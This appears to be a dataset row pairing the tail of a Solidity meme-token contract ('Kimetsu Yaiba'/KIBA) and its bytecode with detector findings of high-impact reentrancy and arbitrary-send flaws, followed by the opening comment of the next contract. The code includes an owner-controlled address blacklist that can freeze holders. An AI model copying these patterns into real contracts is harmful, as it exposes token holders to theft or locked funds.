function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 5);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612716565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906127e0565b61045e565b604051610178919061283b565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612865565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612880565b61048c565b6040516101e0919061283b565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128d3565b610565565b005b34801561021e57600080fd5b50610227610655565b604051610234919061291c565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612963565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128d3565b610782565b6040516102b19190612865565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f3919061299f565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612716565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906127e0565b61098c565b60405161035b919061283b565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612b02565b6109aa565b005b34801561039957600080fd5b506103a2610ad4565b005b3480156103b057600080fd5b506103b9610b4e565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612b4b565b61105e565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612b78565b6111a6565b6040516104189190612865565b60405180910390f35b60606040518060400160405280600f81526020017f204b696d65747375205961696261200000000000000000000000000000000000815250905090565b600061047261046b61122d565b8484611235565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104998484846113fe565b61055a846104a561122d565b610555856040518060600160405280602881526020016136b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61122d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbb9092919063ffffffff16565b611235565b600190509392505050565b61056d61122d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612c04565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066661122d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612c04565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075161122d565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c1f565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107db61122d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612c04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f204b494241200000000000000000000000000000000000000000000000000000815250905090565b60006109a061099961122d565b84846113fe565b6001905092915050565b6109b261122d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612c04565b60405180910390fd5b60005b8151811015610ad0576001600a6000848481518110610a6457610a63612c24565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac890612c82565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1561122d565b73ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b6000610b4030610782565b9050610b4b81611cf9565b50565b610b5661122d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bda90612c04565b60405180910390fd5b600e60149054906101000a900460ff1615610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90612d16565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611235565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d319190612d4b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbc9190612d4b565b6040518363ffffffff1660e01b8152600401610dd9929190612d78565b6020604051808303816000875af1158015610df8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1c9190612d4b565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea530610782565b600080610eb0610926565b426040518863ffffffff1660e01b8152600401610ed296959493929190612de6565b60606040518083038185885af1158015610ef0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f159190612e5c565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611017929190612eaf565b6020604051808303816000875af1158015611036573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105a9190612eed565b5050565b61106661122d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ea90612c04565b60405180910390fd5b60008111611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d90612f66565b60405180910390fd5b611164606461115683670de0b6b3a7640000611f7290919063ffffffff16565b611fec90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161119b9190612865565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129b90612ff8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a9061308a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113f19190612865565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361146d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114649061311c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d3906131ae565b60405180910390fd5b6000811161151f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151690613240565b60405180910390fd5b611527610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115955750611565610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611af857600e60179054906101000a900460ff16156117c8573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116715750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116cb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117c757600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661171161122d565b73ffffffffffffffffffffffffffffffffffffffff1614806117875750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176f61122d565b73ffffffffffffffffffffffffffffffffffffffff16145b6117c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bd906132ac565b60405180910390fd5b5b5b600f548111156117d757600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561187b5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561192f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119855750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561199d5750600e60179054906101000a900460ff165b15611a3e5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119ed57600080fd5b603c426119fa91906132cc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a4930610782565b9050600e60159054906101000a900460ff16158015611ab65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750600e60169054906101000a900460ff165b15611af657611adc81611cf9565b60004790506000811115611af457611af347611c1f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b9f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ba957600090505b611bb584848484612036565b50505050565b6000838311158290611c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfa9190612716565b60405180910390fd5b5060008385611c129190613322565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600654821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc9906133c8565b60405180910390fd5b6000611cdc612063565b9050611cf18184611fec90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d3157611d306129bf565b5b604051908082528060200260200182016040528015611d5f5781602001602082028036833780820191505090505b5090503081600081518110611d7757611d76612c24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e429190612d4b565b81600181518110611e5657611e55612c24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ebd30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611235565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f219594939291906134a6565b600060405180830381600087803b158015611f3b57600080fd5b505af1158015611f4f573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6000808303611f845760009050611fe6565b60008284611f929190613500565b9050828482611fa19190613589565b14611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd89061362c565b60405180910390fd5b809150505b92915050565b600061202e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061208e565b905092915050565b80612044576120436120f1565b5b61204f84848461211c565b8061205d5761205c6122e7565b5b50505050565b60008060006120706122f9565b915091506120878183611fec90919063ffffffff16565b9250505090565b600080831182906120d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cc9190612716565b60405180910390fd5b50600083856120e49190613589565b9050809150509392505050565b600060085414801561210557506000600954145b61211a57600060088190555060006009819055505b565b60008060008060008061212e87612358565b95509550955095509550955061218c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bf90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226d81612467565b6122778483612524565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d49190612865565b60405180910390a3505050505050505050565b60036008819055506002600981905550565b600080600060065490506000670de0b6b3a7640000905061232d670de0b6b3a7640000600654611fec90919063ffffffff16565b82101561234b57600654670de0b6b3a7640000935093505050612354565b81819350935050505b9091565b60008060008060008060008060006123748a600854600561255e565b9250925092506000612384612063565b905060008060006123978e8787876125f4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bbb565b905092915050565b600080828461241891906132cc565b90508381101561245d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245490613698565b60405180910390fd5b8091505092915050565b6000612471612063565b905060006124888284611f7290919063ffffffff16565b90506124dc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612539826006546123bf90919063ffffffff16565b6006819055506125548160075461240990919063ffffffff16565b6007819055505050565b60008060008061258a606461257c888a611f7290919063ffffffff16565b611fec90919063ffffffff16565b905060006125b460646125a6888b611f7290919063ffffffff16565b611fec90919063ffffffff16565b905060006125dd826125cf858c6123bf90919063ffffffff16565b6123bf90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260d8589611f7290919063ffffffff16565b905060006126248689611f7290919063ffffffff16565b9050600061263b8789611f7290919063ffffffff16565b905060006126648261265685876123bf90919063ffffffff16565b6123bf90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b757808201518184015260208101905061269c565b838111156126c6576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e88261267d565b6126f28185612688565b9350612702818560208601612699565b61270b816126cc565b840191505092915050565b6000602082019050818103600083015261273081846126dd565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127778261274c565b9050919050565b6127878161276c565b811461279257600080fd5b50565b6000813590506127a48161277e565b92915050565b6000819050919050565b6127bd816127aa565b81146127c857600080fd5b50565b6000813590506127da816127b4565b92915050565b600080604083850312156127f7576127f6612742565b5b600061280585828601612795565b9250506020612816858286016127cb565b9150509250929050565b60008115159050919050565b61283581612820565b82525050565b6000602082019050612850600083018461282c565b92915050565b61285f816127aa565b82525050565b600060208201905061287a6000830184612856565b92915050565b60008060006060848603121561289957612898612742565b5b60006128a786828701612795565b93505060206128b886828701612795565b92505060406128c9868287016127cb565b9150509250925092565b6000602082840312156128e9576128e8612742565b5b60006128f784828501612795565b91505092915050565b600060ff82169050919050565b61291681612900565b82525050565b6000602082019050612931600083018461290d565b92915050565b61294081612820565b811461294b57600080fd5b50565b60008135905061295d81612937565b92915050565b60006020828403121561297957612978612742565b5b60006129878482850161294e565b91505092915050565b6129998161276c565b82525050565b60006020820190506129b46000830184612990565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6129f7826126cc565b810181811067ffffffffffffffff82111715612a1657612a156129bf565b5b80604052505050565b6000612a29612738565b9050612a3582826129ee565b919050565b600067ffffffffffffffff821115612a5557612a546129bf565b5b602082029050602081019050919050565b600080fd5b6000612a7e612a7984612a3a565b612a1f565b90508083825260208201905060208402830185811115612aa157612aa0612a66565b5b835b81811015612aca5780612ab68882612795565b845260208401935050602081019050612aa3565b5050509392505050565b600082601f830112612ae957612ae86129ba565b5b8135612af9848260208601612a6b565b91505092915050565b600060208284031215612b1857612b17612742565b5b600082013567ffffffffffffffff811115612b3657612b35612747565b5b612b4284828501612ad4565b91505092915050565b600060208284031215612b6157612b60612742565b5b6000612b6f848285016127cb565b91505092915050565b60008060408385031215612b8f57612b8e612742565b5b6000612b9d85828601612795565b9250506020612bae85828601612795565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bee602083612688565b9150612bf982612bb8565b602082019050919050565b60006020820190508181036000830152612c1d81612be1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8d826127aa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbf57612cbe612c53565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d00601783612688565b9150612d0b82612cca565b602082019050919050565b60006020820190508181036000830152612d2f81612cf3565b9050919050565b600081519050612d458161277e565b92915050565b600060208284031215612d6157612d60612742565b5b6000612d6f84828501612d36565b91505092915050565b6000604082019050612d8d6000830185612990565b612d9a6020830184612990565b9392505050565b6000819050919050565b6000819050919050565b6000612dd0612dcb612dc684612da1565b612dab565b6127aa565b9050919050565b612de081612db5565b82525050565b600060c082019050612dfb6000830189612990565b612e086020830188612856565b612e156040830187612dd7565b612e226060830186612dd7565b612e2f6080830185612990565b612e3c60a0830184612856565b979650505050505050565b600081519050612e56816127b4565b92915050565b600080600060608486031215612e7557612e74612742565b5b6000612e8386828701612e47565b9350506020612e9486828701612e47565b9250506040612ea586828701612e47565b9150509250925092565b6000604082019050612ec46000830185612990565b612ed16020830184612856565b9392505050565b600081519050612ee781612937565b92915050565b600060208284031215612f0357612f02612742565b5b6000612f1184828501612ed8565b91505092915050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b6000612f50601d83612688565b9150612f5b82612f1a565b602082019050919050565b60006020820190508181036000830152612f7f81612f43565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fe2602483612688565b9150612fed82612f86565b604082019050919050565b6000602082019050818103600083015261301181612fd5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613074602283612688565b915061307f82613018565b604082019050919050565b600060208201905081810360008301526130a381613067565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613106602583612688565b9150613111826130aa565b604082019050919050565b60006020820190508181036000830152613135816130f9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613198602383612688565b91506131a38261313c565b604082019050919050565b600060208201905081810360008301526131c78161318b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061322a602983612688565b9150613235826131ce565b604082019050919050565b600060208201905081810360008301526132598161321d565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6000613296601183612688565b91506132a182613260565b602082019050919050565b600060208201905081810360008301526132c581613289565b9050919050565b60006132d7826127aa565b91506132e2836127aa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561331757613316612c53565b5b828201905092915050565b600061332d826127aa565b9150613338836127aa565b92508282101561334b5761334a612c53565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006133b2602a83612688565b91506133bd82613356565b604082019050919050565b600060208201905081810360008301526133e1816133a5565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61341d8161276c565b82525050565b600061342f8383613414565b60208301905092915050565b6000602082019050919050565b6000613453826133e8565b61345d81856133f3565b935061346883613404565b8060005b838110156134995781516134808882613423565b975061348b8361343b565b92505060018101905061346c565b5085935050505092915050565b600060a0820190506134bb6000830188612856565b6134c86020830187612dd7565b81810360408301526134da8186613448565b90506134e96060830185612990565b6134f66080830184612856565b9695505050505050565b600061350b826127aa565b9150613516836127aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561354f5761354e612c53565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613594826127aa565b915061359f836127aa565b9250826135af576135ae61355a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613616602183612688565b9150613621826135ba565b604082019050919050565b6000602082019050818103600083015261364581613609565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613682601b83612688565b915061368d8261364c565b602082019050919050565b600060208201905081810360008301526136b181613675565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa4923f6d3d381ca2cde4cf3997c1bf2317751f245c13cab78cbdc38b6522f4264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,972 |
0x34a335d0ab352dd2c13b263636cd617881752c37
|
/**
*Submitted for verification at Etherscan.io on 2021-11-23
*/
/**
💮資 Suzumiya Inu 資💮
Based on a classic Japanese anime series, Suzumiya Inu, aims to create a club based on the super natural and wizardry! 🧙🏼♂️
Little Kyon is the clubs manger and is specialised in running the comics, P2E game, NFT’s and all that is… magic! 🪄
